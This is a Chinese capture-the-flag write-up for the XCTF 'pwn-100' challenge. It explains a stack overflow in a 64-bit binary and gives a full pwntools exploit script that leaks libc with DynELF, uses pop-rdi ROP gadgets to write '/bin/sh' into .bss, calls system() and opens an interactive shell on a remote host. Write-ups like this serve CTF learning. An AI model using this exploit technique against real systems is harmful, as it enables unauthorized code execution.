pwn-100(xctf)

0x0 程序保护和流程

保护:

pwn-100(xctf)_第1张图片

流程:

main()

pwn-100(xctf)_第2张图片

sub_40068E()

pwn-100(xctf)_第3张图片

sub_40063D()

pwn-100(xctf)_第4张图片

通过程序流程我们可以看出在sub_40068E()调用sub_40063D()时发生了栈溢出。

0x1 利用过程

1.这个程序没有system()函数,也没有"/bin/sh"。但是我们程序运行的时候需要libc。而libc中有我们需要的system(),所以我们只需要确定libc的基地址就可以知道system()。这里给出两种方法获取libc的基地址。第一种是pwntools自带的DynELF(leak,elf),但是这个只能寻找函数的地址不能寻找libc中的字符串。第二种是LibcSearcher模块。这里给出第一种方法

2.这个程序是x64它的传参模式跟x86不一样。x64是通过寄存器传参的。 x64中的前六个参数依次保存在RDI, RSI, RDX, RCX, R8和 R9中 。我们通过ROPgadget --binary 程序名 --only “pop|ret” 查找出二进制文件中的pop和ret指令的地址。

pwn-100(xctf)_第5张图片

3.用DynELF时候没有"/bin/sh"。通过read/gets的方式读入。read函数有三个参数需要一个__libc_csu_init函数的通用gadget。gets函数直接用一个pop rdi ; ret就行了。

0x2 exp

DynELF

from pwn import *
elf=ELF('./a')
puts_plt=elf.plt['puts']
read_got=elf.got['read']
#context.log_level = 'debug'
pop_rdi=0x400763
main_addr=0x4006B8
bss_addr=0x601040
gadget_1 = 0x40075a
gadget_2 = 0x400740

sh=remote('124.126.19.106','36896')
#sh=process('./a')

def leak(addr):
    up = ''     
    content = ''
    payload = 'A'*0x48
    payload += p64(pop_rdi)  
    payload += p64(addr)
    payload += p64(puts_plt)
    payload += p64(main_addr)
    payload = payload.ljust(200, 'B')
    sh.send(payload)
    sh.recvuntil("bye~\n")
    while True: #防止未接受完整传回的数据
        c = sh.recv(numb=1, timeout=0.1)
        if up == '\n' and c == "":
            content = content[:-1]+'\x00'
            break
        else:
            content += c
            up = c
    content = content[:4]
    return content

d = DynELF(leak, elf=elf)
system_addr=d.lookup('system', 'libc')
### gets
a=1
gets_addr=d.lookup('gets','libc')
payload = 'a'*0x48 + p64(pop_rdi)+p64(bss_addr)+p64(gets_addr)+p64(main_addr)
### read
# a=0
# payload = 'a'*0x48
# payload += p64(gadget_1)
# payload += p64(0)
# payload += p64(1)
# payload += p64(read_got)
# payload += p64(8)
# payload += p64(bss_addr)
# payload += p64(0)
# payload += p64(gadget_2)
# payload += '\x00'*56
# payload += p64(main_addr)

sh.send(payload.ljust(200,'a'))
sh.recvuntil('bye~\n')
if a==1:
    sh.sendline('/bin/sh\x00')
else:
    sh.send('/bin/sh\x00')

payload='a'*0x48+p64(pop_rdi)+p64(bss_addr)+p64(system_addr)+p64(main_addr)
sh.send(payload.ljust(200,'a'))
sh.interactive()

你可能感兴趣的:(xctf(pwn高手区))